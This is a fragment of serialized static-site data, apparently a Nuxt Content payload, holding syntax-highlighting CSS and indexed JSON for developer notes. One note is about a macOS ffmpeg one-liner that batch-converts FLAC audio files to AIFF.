var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":20,"searchDepth":57,"depth":57,"links":1144},[],"2022-08-10","Однострочник для конвертации всех FLAC файлов в AIFF через ffmpeg на macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1032,"description":1146},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1152,1153,71,1154],"ffmpeg","audio","macos","eSrfOKrhJhEudfeuEd5ti516NYPB5St5RfesDpohskc",[1157,1383],{"id":702,"title":703,"author":6,"body":1158,"date":989,"description":990,"extension":61,"image":62,"meta":1380,"navigation":64,"path":992,"seo":1381,"stem":994,"tags":1382,"__hash__":998},{"type":8,"value":1159,"toc":1378},[1160,1162,1168,1174,1376],[11,1161,709],{"id":708},[41,1163,712,1164,716,1166,248],{},[22,1165,715],{},[22,1167,719],{},[41,1169,722,1170,726,1172,730],{},[22,1171,725],{},[22,1173,729],{},[15,1175,1176],{"className":733,"code":734,"language":70,"meta":20,"style":20},[22,1177,1178,1186,1196,1200,1208,1214,1226,1234,1240,1244,1248,1264,1274,1278,1282,1288,1296,1300,1304,1308,1312,1320,1324,1332,1344,1356,1368],{"__ignoreMap":20},[25,1179,1180,1182,1184],{"class":27,"line":28},[25,1181,742],{"class":741},[25,1183,746],{"class":745},[25,1185,749],{"class":741},[25,1187,1188,1190,1192,1194],{"class":27,"line":57},[25,1189,755],{"class":754},[25,1191,758],{"class":741},[25,1193,761],{"class":754},[25,1195,764],{"class":35},[25,1197,1198],{"class":27,"line":194},[25,1199,197],{"emptyLinePlaceholder":64},[25,1201,1202,1204,1206],{"class":27,"line":200},[25,1203,773],{"class":754},[25,1205,776],{"class":754},[25,1207,779],{"class":741},[25,1209,1210,1212],{"class":27,"line":206},[25,1211,784],{"class":31},[25,1213,787],{"class":741},[25,1215,1216,1218,1220,1222,1224],{"class":27,"line":322},[25,1217,792],{"class":754},[25,1219,796],{"class":795},[25,1221,799],{"class":754},[25,1223,802],{"class":31},[25,1225,805],{"class":741},[25,1227,1228,1230,1232],{"class":27,"line":328},[25,1229,810],{"class":741},[25,1231,813],{"class":795},[25,1233,816],{"class":741},[25,1235,1236,1238],{"class":27,"line":334},[25,1237,821],{"class":741},[25,1239,824],{"class":795},[25,1241,1242],{"class":27,"line":340},[25,1243,829],{"class":741},[25,1245,1246],{"class":27,"line":345},[25,1247,197],{"emptyLinePlaceholder":64},[25,1249,1250,1252,1254,1256,1258,1260,1262],{"class":27,"line":351},[25,1251,792],{"class":754},[25,1253,840],{"class":795},[25,1255,799],{"class":754},[25,1257,845],{"class":31},[25,1259,848],{"class":741},[25,1261,851],{"class":754},[25,1263,779],{"class":741},[25,1265,1266,1268,1270,1272],{"class":27,"line":357},[25,1267,858],{"class":754},[25,1269,861],{"class":741},[25,1271,864],{"class":754},[25,1273,867],{"class":741},[25,1275,1276],{"class":27,"line":363},[25,1277,829],{"class":741},[25,1279,1280],{"class":27,"line":368},[25,1281,197],{"emptyLinePlaceholder":64},[25,1283,1284,1286],{"class":27,"line":373},[25,1285,880],{"class":754},[25,1287,779],{"class":741},[25,1289,1290,1292,1294],{"class":27,"line":379},[25,1291,887],{"class":754},[25,1293,890],{"class":31},[25,1295,893],{"class":741},[25,1297,1298],{"class":27,"line":385},[25,1299,898],{"class":741},[25,1301,1302],{"class":27,"line":391},[25,1303,903],{"class":741},[25,1305,1306],{"class":27,"line":397},[25,1307,908],{"class":741},[25,1309,1310],{"class":27,"line":403},[25,1311,913],{"class":741},[25,1313,1314,1316,1318],{"class":27,"line":408},[25,1315,918],{"class":741},[25,1317,746],{"class":745},[25,1319,749],{"class":741},[25,1321,1322],{"class":27,"line":413},[25,1323,197],{"emptyLinePlaceholder":64},[25,1325,1326,1328,1330],{"class":27,"line":419},[25,1327,742],{"class":741},[25,1329,933],{"class":745},[25,1331,749],{"class":741},[25,1333,1334,1336,1338,1340,1342],{"class":27,"line":425},[25,1335,940],{"class":741},[25,1337,41],{"class":745},[25,1339,945],{"class":741},[25,1341,41],{"class":745},[25,1343,749],{"class":741},[25,1345,1346,1348,1350,1352,1354],{"class":27,"line":431},[25,1347,940],{"class":741},[25,1349,41],{"class":745},[25,1351,958],{"class":741},[25,1353,41],{"class":745},[25,1355,749],{"class":741},[25,1357,1358,1360,1362,1364,1366],{"class":27,"line":437},[25,1359,940],{"class":741},[25,1361,41],{"class":745},[25,1363,971],{"class":741},[25,1365,41],{"class":745},[25,1367,749],{"class":741},[25,1369,1370,1372,1374],{"class":27,"line":443},[25,1371,918],{"class":741},[25,1373,933],{"class":745},[25,1375,749],{"class":741},[53,1377,986],{},{"title":20,"searchDepth":57,"depth":57,"links":1379},[],{},{"title":703,"description":990},[70,996,997],{"id":4,"title":5,"author":6,"body":1384,"date":59,"description":60,"extension":61,"image":62,"meta":1411,"navigation":64,"path":65,"seo":1412,"stem":67,"tags":1413,"__hash__":72},{"type":8,"value":1385,"toc":1409},[1386,1388,1400,1402,1407],[11,1387,5],{"id":13},[15,1389,1390],{"className":17,"code":18,"language":19,"meta":20,"style":20},[22,1391,1392],{"__ignoreMap":20},[25,1393,1394,1396,1398],{"class":27,"line":28},[25,1395,32],{"class":31},[25,1397,36],{"class":35},[25,1399,39],{"class":35},[41,1401,43],{},[15,1403,1405],{"className":1404,"code":48,"language":49},[47],[22,1406,48],{"__ignoreMap":20},[53,1408,55],{},{"title":20,"searchDepth":57,"depth":57,"links":1410},[],{},{"title":5,"description":60},[69,70,71],1776084468370]